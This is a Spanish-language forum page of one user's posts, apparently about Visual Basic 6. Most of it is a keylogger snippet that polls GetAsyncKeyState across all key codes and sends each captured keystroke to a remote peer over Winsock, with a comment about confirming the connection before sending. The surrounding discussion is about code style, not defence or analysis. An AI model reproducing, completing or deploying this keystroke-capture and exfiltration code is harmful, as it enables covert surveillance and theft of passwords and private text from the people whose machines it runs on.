Muchisimas gracias.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCitarno sabia que las api's y el option explicit se ponian dentro del form_load , y aparte podes hacer un And y te ahorras un If..
Dim PropBag As New PropertyBag
Option Explicit
Private Declare Function GetAsyncKeyState _
Lib "user32" ( _
ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
Dim i As Integer
For i = 0 To 255
If GetAsyncKeyState(i) = -32767 Then 'aca quiero confirmar que el winsock este conectado y despues envie los datos
Winsock1.SendData Chr(i)
Text1.Text = Text1.Text & Chr(i)
Text1.SelStart = Len(Text1.Text)
End If
Next
End Sub